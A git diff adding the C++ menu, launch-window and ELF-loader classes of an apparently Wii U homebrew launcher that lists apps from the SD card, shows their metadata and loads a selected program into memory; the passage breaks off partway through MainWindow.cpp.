diff --git a/src/menu/HomebrewLaunchWindow.cpp b/src/menu/HomebrewLaunchWindow.cpp new file mode 100644 index 0000000..1d0d326 --- /dev/null +++ b/src/menu/HomebrewLaunchWindow.cpp @@ -0,0 +1,192 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "HomebrewLaunchWindow.h" +#include "HomebrewLoader.h" +#include "common/common.h" +#include "fs/DirList.h" +#include "fs/fs_utils.h" +#include "utils/HomebrewXML.h" +#include "Application.h" + +HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData) + : GuiFrame(0, 0) + , buttonClickSound(Resources::GetSound("button_click.mp3")) + , backgroundImgData(Resources::GetImageData("launchMenuBox.png")) + , backgroundImg(backgroundImgData) + , buttonImgData(Resources::GetImageData("button.png")) + , iconImage(iconImgData) + , titleText((char*)NULL, 42, glm::vec4(1.0f)) + , versionText("Version:", 32, glm::vec4(1.0f)) + , versionValueText((char*)NULL, 32, glm::vec4(1.0f)) + , authorText("Author:", 32, glm::vec4(1.0f)) + , authorValueText((char*)NULL, 32, glm::vec4(1.0f)) + , descriptionText((char*)NULL, 28, glm::vec4(1.0f)) + , loadBtnLabel("Load", 32, glm::vec4(1.0f)) + , loadImg(buttonImgData) + , loadBtn(loadImg.getWidth(), loadImg.getHeight()) + , backBtnLabel("Back", 32, glm::vec4(1.0f)) + , backImg(buttonImgData) + , backBtn(backImg.getWidth(), backImg.getHeight()) + , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) + , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) + , homebrewLaunchPath(launchPath) +{ + width = backgroundImg.getWidth(); + height = backgroundImg.getHeight(); + append(&backgroundImg); + + std::string homebrewPath = launchPath; + size_t slashPos = homebrewPath.rfind('/'); + if(slashPos != std::string::npos) + homebrewPath.erase(slashPos); + + HomebrewXML metaXml; + bool xmlReadSuccess = metaXml.LoadHomebrewXMLData((homebrewPath + "/meta.xml").c_str()); + + int xOffset = 500; + int yOffset = height * 0.5f - 75.0f; + + const char *cpName = xmlReadSuccess ? metaXml.GetName() : launchPath.c_str(); + if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0) + cpName += strlen("sd:/wiiu/apps/"); + + titleText.setText(cpName); + titleText.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); + titleText.setPosition(0, yOffset); + titleText.setMaxWidth(width - 100, GuiText::DOTTED); + append(&titleText); + + float scaleFactor = 1.0f; + iconImage.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + iconImage.setPosition(100, yOffset - 30 - iconImage.getHeight() * 0.5f * scaleFactor); + iconImage.setScale(scaleFactor); + append(&iconImage); + + yOffset -= 50; + + versionText.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + versionText.setPosition(width - xOffset, yOffset); + append(&versionText); + + versionValueText.setTextf("%s", xmlReadSuccess ? metaXml.GetVersion() : launchPath.c_str()); + versionValueText.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + versionValueText.setPosition(width - xOffset + 100, yOffset); + versionValueText.setMaxWidth(xOffset - 150, GuiText::DOTTED); + append(&versionValueText); + yOffset -= 30; + + authorText.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + authorText.setPosition(width - xOffset, yOffset); + append(&authorText); + + authorValueText.setTextf("%s", metaXml.GetCoder()); + authorValueText.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + authorValueText.setPosition(width - xOffset + 100, yOffset); + authorValueText.setMaxWidth(xOffset - 150, GuiText::DOTTED); + append(&authorValueText); + yOffset -= 50; + + descriptionText.setText(metaXml.GetLongDescription()); + descriptionText.setAlignment(ALIGN_LEFT | ALIGN_TOP); + descriptionText.setPosition(100, -250); + descriptionText.setMaxWidth(width - 200, GuiText::WRAP); + append(&descriptionText); + + scaleFactor = 1.0f; + loadImg.setScale(scaleFactor); + loadBtn.setSize(scaleFactor * loadImg.getWidth(), scaleFactor * loadImg.getHeight()); + loadBtn.setImage(&loadImg); + loadBtn.setLabel(&loadBtnLabel); + loadBtn.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); + loadBtn.setPosition(-200, -310); + loadBtn.setTrigger(&touchTrigger); + loadBtn.setTrigger(&wpadTouchTrigger); + loadBtn.setEffectGrow(); + loadBtn.setSoundClick(buttonClickSound); + loadBtn.clicked.connect(this, &HomebrewLaunchWindow::OnLoadButtonClick); + append(&loadBtn); + + backImg.setScale(scaleFactor); + backBtn.setSize(scaleFactor * backImg.getWidth(), scaleFactor * backImg.getHeight()); + backBtn.setImage(&backImg); + backBtn.setLabel(&backBtnLabel); + backBtn.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); + backBtn.setPosition(200, -310); + backBtn.setTrigger(&touchTrigger); + backBtn.setTrigger(&wpadTouchTrigger); + backBtn.setEffectGrow(); + backBtn.setSoundClick(buttonClickSound); + backBtn.clicked.connect(this, &HomebrewLaunchWindow::OnBackButtonClick); + append(&backBtn); +} + +HomebrewLaunchWindow::~HomebrewLaunchWindow() +{ + Resources::RemoveSound(buttonClickSound); + Resources::RemoveImageData(backgroundImgData); + Resources::RemoveImageData(buttonImgData); +} + +void HomebrewLaunchWindow::OnOpenEffectFinish(GuiElement *element) +{ + //! once the menu is open reset its state and allow it to be "clicked/hold" + element->effectFinished.disconnect(this); + element->clearState(GuiElement::STATE_DISABLED); +} + +void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element) +{ + //! remove element from draw list and push to delete queue + remove(element); + AsyncDeleter::pushForDelete(element); + + backBtn.clearState(GuiElement::STATE_DISABLED); + loadBtn.clearState(GuiElement::STATE_DISABLED); +} + +void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result) +{ + element->setState(GuiElement::STATE_DISABLED); + element->setEffect(EFFECT_FADE, -10, 0); + element->effectFinished.connect(this, &HomebrewLaunchWindow::OnCloseEffectFinish); + + if(result > 0) + { + u32 ApplicationMemoryEnd; + asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd)); + + ELF_DATA_ADDR = ApplicationMemoryEnd; + ELF_DATA_SIZE = result; + Application::instance()->quit(EXIT_SUCCESS); + } +} + + +void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) +{ + backBtn.setState(GuiElement::STATE_DISABLED); + loadBtn.setState(GuiElement::STATE_DISABLED); + + u32 ApplicationMemoryEnd; + asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd)); + + HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath, (unsigned char*)ApplicationMemoryEnd); + loader->setEffect(EFFECT_FADE, 15, 255); + loader->effectFinished.connect(this, &HomebrewLaunchWindow::OnOpenEffectFinish); + loader->asyncLoadFinished.connect(this, &HomebrewLaunchWindow::OnFileLoadFinish); + append(loader); +} diff --git a/src/menu/HomebrewLaunchWindow.h b/src/menu/HomebrewLaunchWindow.h new file mode 100644 index 0000000..61aca5f --- /dev/null +++ b/src/menu/HomebrewLaunchWindow.h @@ -0,0 +1,70 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _HOMEBREW_LAUNCHER_WINDOW_H_ +#define _HOMEBREW_LAUNCHER_WINDOW_H_ + +#include "gui/Gui.h" +#include "gui/GuiFrame.h" + +class HomebrewLaunchWindow : public GuiFrame, public sigslot::has_slots<> +{ +public: + HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData); + virtual ~HomebrewLaunchWindow(); + + sigslot::signal1 backButtonClicked; +private: + void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) + { + backButtonClicked(this); + } + + void OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); + + void OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result); + void OnOpenEffectFinish(GuiElement *element); + void OnCloseEffectFinish(GuiElement *element); + + GuiSound *buttonClickSound; + GuiImageData * backgroundImgData; + GuiImage backgroundImg; + + GuiImageData *buttonImgData; + GuiImage iconImage; + + GuiText titleText; + GuiText versionText; + GuiText versionValueText; + GuiText authorText; + GuiText authorValueText; + GuiText descriptionText; + + GuiText loadBtnLabel; + GuiImage loadImg; + GuiButton loadBtn; + + GuiText backBtnLabel; + GuiImage backImg; + GuiButton backBtn; + + GuiTrigger touchTrigger; + GuiTrigger wpadTouchTrigger; + + const std::string homebrewLaunchPath; +}; + +#endif //_HOMEBREW_LAUNCHER_WINDOW_H_ diff --git a/src/menu/HomebrewLoader.cpp b/src/menu/HomebrewLoader.cpp new file mode 100644 index 0000000..9aa3043 --- /dev/null +++ b/src/menu/HomebrewLoader.cpp @@ -0,0 +1,73 @@ +#include +#include +#include + +#include "HomebrewLoader.h" +#include "fs/CFile.hpp" +#include "utils/logger.h" +#include "utils/StringTools.h" + +HomebrewLoader * HomebrewLoader::loadToMemoryAsync(const std::string & file, unsigned char *address) +{ + HomebrewLoader * loader = new HomebrewLoader(file, address); + loader->resumeThread(); + return loader; +} + +void HomebrewLoader::executeThread() +{ + int result = loadToMemory(); + asyncLoadFinished(this, filepath, result); +} + +int HomebrewLoader::loadToMemory() +{ + if(filepath.empty()) + return INVALID_INPUT; + + log_printf("Loading file %s\n", filepath.c_str()); + + CFile file(filepath, CFile::ReadOnly); + if(!file.isOpen()) + return FILE_OPEN_FAILURE; + + u32 bytesRead = 0; + u32 fileSize = file.size(); + + progressWindow.setTitle(strfmt("Loading file %s", FullpathToFilename(filepath.c_str()))); + + // Copy rpl in memory + while(bytesRead < fileSize) + { + progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize); + + u32 blockSize = 0x8000; + if(blockSize > (fileSize - bytesRead)) + blockSize = fileSize - bytesRead; + + if((u32)(loadAddress + bytesRead + blockSize) > 0x01000000) + { + log_printf("File ist too big\n"); + return NOT_ENOUGH_MEMORY; + } + + int ret = file.read(loadAddress + bytesRead, blockSize); + if(ret <= 0) + { + log_printf("Failure on reading file %s\n", filepath.c_str()); + break; + } + + bytesRead += ret; + } + + progressWindow.setProgress((f32)bytesRead / (f32)fileSize); + + if(bytesRead != fileSize) + { + log_printf("File loading not finished for file %s, finished %i of %i bytes\n", filepath.c_str(), bytesRead, fileSize); + return FILE_READ_ERROR; + } + + return fileSize; +} diff --git a/src/menu/HomebrewLoader.h b/src/menu/HomebrewLoader.h new file mode 100644 index 0000000..87c7a67 --- /dev/null +++ b/src/menu/HomebrewLoader.h @@ -0,0 +1,53 @@ +#ifndef HOMEBREW_LOADER_H_ +#define HOMEBREW_LOADER_H_ + +#include +#include +#include + +#include "ProgressWindow.h" +#include "system/CThread.h" +#include "gui/sigslot.h" + +class HomebrewLoader : public GuiFrame, public CThread +{ +public: + enum eLoadResults + { + SUCCESS = 0, + INVALID_INPUT = -1, + FILE_OPEN_FAILURE = -2, + FILE_READ_ERROR = -3, + NOT_ENOUGH_MEMORY = -4, + }; + + + static HomebrewLoader * loadToMemoryAsync(const std::string & filepath, unsigned char *address); + sigslot::signal3 asyncLoadFinished; +private: + + HomebrewLoader(const std::string & file, unsigned char *address) + : GuiFrame(0, 0) + , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) + , filepath(file) + , loadAddress(address) + , progressWindow("Loading file...") + { + append(&progressWindow); + + width = progressWindow.getWidth(); + height = progressWindow.getHeight(); + } + void executeThread(); + + int loadToMemory(); + + static void loadCallback(CThread *thread, void *arg); + + const std::string filepath; + unsigned char *loadAddress; + ProgressWindow progressWindow; +}; + + +#endif diff --git a/src/menu/HomebrewWindow.cpp b/src/menu/HomebrewWindow.cpp new file mode 100644 index 0000000..ca30f3b --- /dev/null +++ b/src/menu/HomebrewWindow.cpp @@ -0,0 +1,330 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "HomebrewWindow.h" +#include "common/common.h" +#include "Application.h" +#include "fs/DirList.h" +#include "fs/fs_utils.h" +#include "system/AsyncDeleter.h" +#include "utils/HomebrewXML.h" +#include "HomebrewLaunchWindow.h" + +#define DEFAULT_WIILOAD_PORT 4299 + +#define MAX_BUTTONS_ON_PAGE 4 + +HomebrewWindow::HomebrewWindow(int w, int h) + : GuiFrame(w, h) + , buttonClickSound(Resources::GetSound("button_click.mp3")) + , homebrewButtonImgData(Resources::GetImageData("homebrewButton.png")) + , arrowRightImageData(Resources::GetImageData("rightArrow.png")) + , arrowLeftImageData(Resources::GetImageData("leftArrow.png")) + , arrowRightImage(arrowRightImageData) + , arrowLeftImage(arrowLeftImageData) + , arrowRightButton(arrowRightImage.getWidth(), arrowRightImage.getHeight()) + , arrowLeftButton(arrowLeftImage.getWidth(), arrowLeftImage.getHeight()) + , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) + , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) + , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true) + , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true) + , tcpReceiver(DEFAULT_WIILOAD_PORT) +{ + tcpReceiver.serverReceiveStart.connect(this, &HomebrewWindow::OnTcpReceiveStart); + tcpReceiver.serverReceiveFinished.connect(this, &HomebrewWindow::OnTcpReceiveFinish); + + targetLeftPosition = 0; + currentLeftPosition = 0; + listOffset = 0; + + DirList dirList("sd:/wiiu/apps", ".elf", DirList::Files | DirList::CheckSubfolders); + + dirList.SortList(); + + for(int i = 0; i < dirList.GetFilecount(); i++) + { + //! skip our own application in the listing + //!if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0) + //! continue; + + int idx = homebrewButtons.size(); + homebrewButtons.resize(homebrewButtons.size() + 1); + + homebrewButtons[idx].execPath = dirList.GetFilepath(i); + homebrewButtons[idx].image = new GuiImage(homebrewButtonImgData); + homebrewButtons[idx].image->setScale(0.9f); + homebrewButtons[idx].iconImgData = NULL; + + std::string homebrewPath = homebrewButtons[idx].execPath; + size_t slashPos = homebrewPath.rfind('/'); + if(slashPos != std::string::npos) + homebrewPath.erase(slashPos); + + u8 * iconData = NULL; + u32 iconDataSize = 0; + + LoadFileToMem((homebrewPath + "/icon.png").c_str(), &iconData, &iconDataSize); + + if(iconData != NULL) + { + homebrewButtons[idx].iconImgData = new GuiImageData(iconData, iconDataSize); + free(iconData); + iconData = NULL; + } + + const float cfImageScale = 1.0f; + + homebrewButtons[idx].iconImg = new GuiImage(homebrewButtons[idx].iconImgData); + homebrewButtons[idx].iconImg->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + homebrewButtons[idx].iconImg->setPosition(60, 0); + homebrewButtons[idx].iconImg->setScale(cfImageScale); + + HomebrewXML metaXml; + + bool xmlReadSuccess = metaXml.LoadHomebrewXMLData((homebrewPath + "/meta.xml").c_str()); + + const char *cpName = xmlReadSuccess ? metaXml.GetName() : homebrewButtons[idx].execPath.c_str(); + const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : ""; + + if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0) + cpName += strlen("sd:/wiiu/apps/"); + + homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f)); + homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + homebrewButtons[idx].nameLabel->setMaxWidth(350, GuiText::SCROLL_HORIZONTAL); + homebrewButtons[idx].nameLabel->setPosition(256 + 80, 20); + + homebrewButtons[idx].descriptionLabel = new GuiText(cpDescription, 32, glm::vec4(1.0f)); + homebrewButtons[idx].descriptionLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + homebrewButtons[idx].descriptionLabel->setMaxWidth(350, GuiText::SCROLL_HORIZONTAL); + homebrewButtons[idx].descriptionLabel->setPosition(256 + 80, -20); + + homebrewButtons[idx].button = new GuiButton(homebrewButtonImgData->getWidth(), homebrewButtonImgData->getHeight()); + + homebrewButtons[idx].button->setImage(homebrewButtons[idx].image); + homebrewButtons[idx].button->setLabel(homebrewButtons[idx].nameLabel, 0); + homebrewButtons[idx].button->setLabel(homebrewButtons[idx].descriptionLabel, 1); + homebrewButtons[idx].button->setIcon(homebrewButtons[idx].iconImg); + float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * width; + float fYOffset = (homebrewButtons[idx].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[idx].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE); + homebrewButtons[idx].button->setPosition(currentLeftPosition + fXOffset, fYOffset); + homebrewButtons[idx].button->setTrigger(&touchTrigger); + homebrewButtons[idx].button->setTrigger(&wpadTouchTrigger); + homebrewButtons[idx].button->setEffectGrow(); + homebrewButtons[idx].button->setSoundClick(buttonClickSound); + homebrewButtons[idx].button->clicked.connect(this, &HomebrewWindow::OnHomebrewButtonClick); + + append(homebrewButtons[idx].button); + } + + + if((MAX_BUTTONS_ON_PAGE) < homebrewButtons.size()) + { + arrowLeftButton.setImage(&arrowLeftImage); + arrowLeftButton.setEffectGrow(); + arrowLeftButton.setPosition(40, 0); + arrowLeftButton.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); + arrowLeftButton.setTrigger(&touchTrigger); + arrowLeftButton.setTrigger(&wpadTouchTrigger); + arrowLeftButton.setTrigger(&buttonLTrigger); + arrowLeftButton.setSoundClick(buttonClickSound); + arrowLeftButton.clicked.connect(this, &HomebrewWindow::OnLeftArrowClick); + + arrowRightButton.setImage(&arrowRightImage); + arrowRightButton.setEffectGrow(); + arrowRightButton.setPosition(-40, 0); + arrowRightButton.setAlignment(ALIGN_RIGHT | ALIGN_MIDDLE); + arrowRightButton.setTrigger(&touchTrigger); + arrowRightButton.setTrigger(&wpadTouchTrigger); + arrowRightButton.setTrigger(&buttonRTrigger); + arrowRightButton.setSoundClick(buttonClickSound); + arrowRightButton.clicked.connect(this, &HomebrewWindow::OnRightArrowClick); + append(&arrowRightButton); + } +} + +HomebrewWindow::~HomebrewWindow() +{ + for(u32 i = 0; i < homebrewButtons.size(); ++i) + { + delete homebrewButtons[i].image; + delete homebrewButtons[i].nameLabel; + delete homebrewButtons[i].descriptionLabel; + delete homebrewButtons[i].button; + delete homebrewButtons[i].iconImgData; + delete homebrewButtons[i].iconImg; + } + + Resources::RemoveSound(buttonClickSound); + Resources::RemoveImageData(homebrewButtonImgData); + Resources::RemoveImageData(arrowRightImageData); + Resources::RemoveImageData(arrowLeftImageData); +} + +void HomebrewWindow::OnOpenEffectFinish(GuiElement *element) +{ + //! once the menu is open reset its state and allow it to be "clicked/hold" + element->effectFinished.disconnect(this); + element->clearState(GuiElement::STATE_DISABLED); +} + +void HomebrewWindow::OnCloseEffectFinish(GuiElement *element) +{ + //! remove element from draw list and push to delete queue + remove(element); + AsyncDeleter::pushForDelete(element); + + for(u32 i = 0; i < homebrewButtons.size(); i++) + { + homebrewButtons[i].button->clearState(GuiElement::STATE_DISABLED); + } +} + +void HomebrewWindow::OnLaunchBoxCloseClick(GuiElement *element) +{ + element->setState(GuiElement::STATE_DISABLED); + element->setEffect(EFFECT_FADE, -10, 0); + element->effectFinished.connect(this, &HomebrewWindow::OnCloseEffectFinish); +} + +void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) +{ + bool disableButtons = false; + + for(u32 i = 0; i < homebrewButtons.size(); i++) + { + if(button == homebrewButtons[i].button) + { + HomebrewLaunchWindow * launchBox = new HomebrewLaunchWindow(homebrewButtons[i].execPath, homebrewButtons[i].iconImgData); + launchBox->setEffect(EFFECT_FADE, 10, 255); + launchBox->setState(GuiElement::STATE_DISABLED); + launchBox->setPosition(0.0f, 30.0f); + launchBox->effectFinished.connect(this, &HomebrewWindow::OnOpenEffectFinish); + launchBox->backButtonClicked.connect(this, &HomebrewWindow::OnLaunchBoxCloseClick); + append(launchBox); + disableButtons = true; + break; + } + } + + + if(disableButtons) + { + for(u32 i = 0; i < homebrewButtons.size(); i++) + { + homebrewButtons[i].button->setState(GuiElement::STATE_DISABLED); + } + } +} + +void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) +{ + if(listOffset > 0) + { + listOffset--; + targetLeftPosition = -listOffset * getWidth(); + + if(listOffset == 0) + remove(&arrowLeftButton); + append(&arrowRightButton); + } +} + +void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) +{ + if((listOffset * MAX_BUTTONS_ON_PAGE) < (int)homebrewButtons.size()) + { + listOffset++; + targetLeftPosition = -listOffset * getWidth(); + + if(((listOffset + 1) * MAX_BUTTONS_ON_PAGE) >= (int)homebrewButtons.size()) + remove(&arrowRightButton); + + append(&arrowLeftButton); + } +} + +void HomebrewWindow::draw(CVideo *pVideo) +{ + bool bUpdatePositions = false; + + if(currentLeftPosition < targetLeftPosition) + { + currentLeftPosition += 35; + + if(currentLeftPosition > targetLeftPosition) + currentLeftPosition = targetLeftPosition; + + bUpdatePositions = true; + } + else if(currentLeftPosition > targetLeftPosition) + { + currentLeftPosition -= 35; + + if(currentLeftPosition < targetLeftPosition) + currentLeftPosition = targetLeftPosition; + + bUpdatePositions = true; + } + + if(bUpdatePositions) + { + bUpdatePositions = false; + + for(u32 i = 0; i < homebrewButtons.size(); i++) + { + float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * getWidth(); + float fYOffset = (homebrewButtons[i].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[i].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE); + homebrewButtons[i].button->setPosition(currentLeftPosition + fXOffset, fYOffset); + } + } + + GuiFrame::draw(pVideo); +} + +void HomebrewWindow::OnCloseTcpReceiverFinish(GuiElement *element) +{ + //! remove element from draw list and push to delete queue + remove(element); + clearState(STATE_DISABLED); +} + +void HomebrewWindow::OnTcpReceiveStart(GuiElement *element, u32 ip) +{ + setState(STATE_DISABLED); + + element->setEffect(EFFECT_FADE, 15, 255); + element->effectFinished.connect(this, &HomebrewWindow::OnOpenEffectFinish); + append(element); +} + +void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, u32 ip, int result) +{ + element->setState(GuiElement::STATE_DISABLED); + element->setEffect(EFFECT_FADE, -10, 0); + element->effectFinished.connect(this, &HomebrewWindow::OnCloseTcpReceiverFinish); + + if(result > 0) + { + u32 ApplicationMemoryEnd; + asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd)); + + ELF_DATA_ADDR = ApplicationMemoryEnd; + ELF_DATA_SIZE = result; + Application::instance()->quit(EXIT_SUCCESS); + } +} + diff --git a/src/menu/HomebrewWindow.h b/src/menu/HomebrewWindow.h new file mode 100644 index 0000000..2b78e9e --- /dev/null +++ b/src/menu/HomebrewWindow.h @@ -0,0 +1,77 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _HOMEBREW_WINDOW_H_ +#define _HOMEBREW_WINDOW_H_ + +#include "gui/Gui.h" +#include "gui/GuiFrame.h" +#include "TcpReceiver.h" + +class HomebrewWindow : public GuiFrame, public sigslot::has_slots<> +{ +public: + HomebrewWindow(int w, int h); + virtual ~HomebrewWindow(); + + void draw(CVideo *pVideo); + +private: + void OnOpenEffectFinish(GuiElement *element); + void OnCloseEffectFinish(GuiElement *element); + void OnLaunchBoxCloseClick(GuiElement *element); + void OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); + void OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); + void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); + + void OnCloseTcpReceiverFinish(GuiElement *element); + void OnTcpReceiveStart(GuiElement *element, u32 ip); + void OnTcpReceiveFinish(GuiElement *element, u32 ip, int result); + + GuiSound *buttonClickSound; + GuiImageData * homebrewButtonImgData; + + GuiImageData* arrowRightImageData; + GuiImageData* arrowLeftImageData; + GuiImage arrowRightImage; + GuiImage arrowLeftImage; + GuiButton arrowRightButton; + GuiButton arrowLeftButton; + + typedef struct + { + std::string execPath; + GuiImage *image; + GuiButton *button; + GuiText *nameLabel; + GuiText *descriptionLabel; + GuiImageData *iconImgData; + GuiImage *iconImg; + } homebrewButton; + + std::vector homebrewButtons; + GuiTrigger touchTrigger; + GuiTrigger wpadTouchTrigger; + GuiTrigger buttonLTrigger; + GuiTrigger buttonRTrigger; + int listOffset; + int currentLeftPosition; + int targetLeftPosition; + + TcpReceiver tcpReceiver; +}; + +#endif //_HOMEBREW_WINDOW_H_ diff --git a/src/menu/MainWindow.cpp b/src/menu/MainWindow.cpp new file mode 100644 index 0000000..6182c80 --- /dev/null +++ b/src/menu/MainWindow.cpp @@ -0,0 +1,184 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "MainWindow.h" +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/socket_functions.h" +#include "Application.h" +#include "utils/StringTools.h" +#include "utils/logger.h" + + +MainWindow::MainWindow(int w, int h) + : width(w) + , height(h) + , bgImageColor(w, h, (GX2Color){ 0, 0, 0, 0 }) + , bgParticleImg(w, h, 500) + , homebrewWindow(w, h) +{ + bgImageColor.setImageColor((GX2Color){ 79, 153, 239, 255 }, 0); + bgImageColor.setImageColor((GX2Color){ 79, 153, 239, 255 }, 1); + bgImageColor.setImageColor((GX2Color){ 59, 159, 223, 255 }, 2); + bgImageColor.setImageColor((GX2Color){ 59, 159, 223, 255 }, 3); + append(&bgImageColor); + append(&bgParticleImg); + + for(int i = 0; i < 4; i++) + { + std::string filename = strfmt("player%i_point.png", i+1); + pointerImgData[i] = Resources::GetImageData(filename.c_str()); + pointerImg[i] = new GuiImage(pointerImgData[i]); + pointerImg[i]->setScale(1.5f); + pointerValid[i] = false; + } + + append(&homebrewWindow); +} + +MainWindow::~MainWindow() +{ + remove(&homebrewWindow); + remove(&bgImageColor); + remove(&bgParticleImg); + + while(!tvElements.empty()) + { + delete tvElements[0]; + remove(tvElements[0]); + } + while(!drcElements.empty()) + { + delete drcElements[0]; + remove(drcElements[0]); + } + for(int i = 0; i < 4; i++) + { + delete pointerImg[i]; + Resources::RemoveImageData(pointerImgData[i]); + } +} + +void MainWindow::updateEffects() +{ + //! dont read behind the initial elements in case one was added + u32 tvSize = tvElements.size(); + u32 drcSize = drcElements.size(); + + for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i) + { + drcElements[i]->updateEffects(); + } + + //! only update TV elements that are not updated yet because they are on DRC + for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) + { + u32 n; + for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) + { + if(tvElements[i] == drcElements[n]) + break; + } + if(n == drcElements.size()) + { + tvElements[i]->updateEffects(); + } + } +} + +void MainWindow::update(GuiController *controller) +{ + //! dont read behind the initial elements in case one was added + //u32 tvSize = tvElements.size(); + + if(controller->chan & GuiTrigger::CHANNEL_1) + { + u32 drcSize = drcElements.size(); + + for(u32 i = 0; (i < drcSize) && (i < 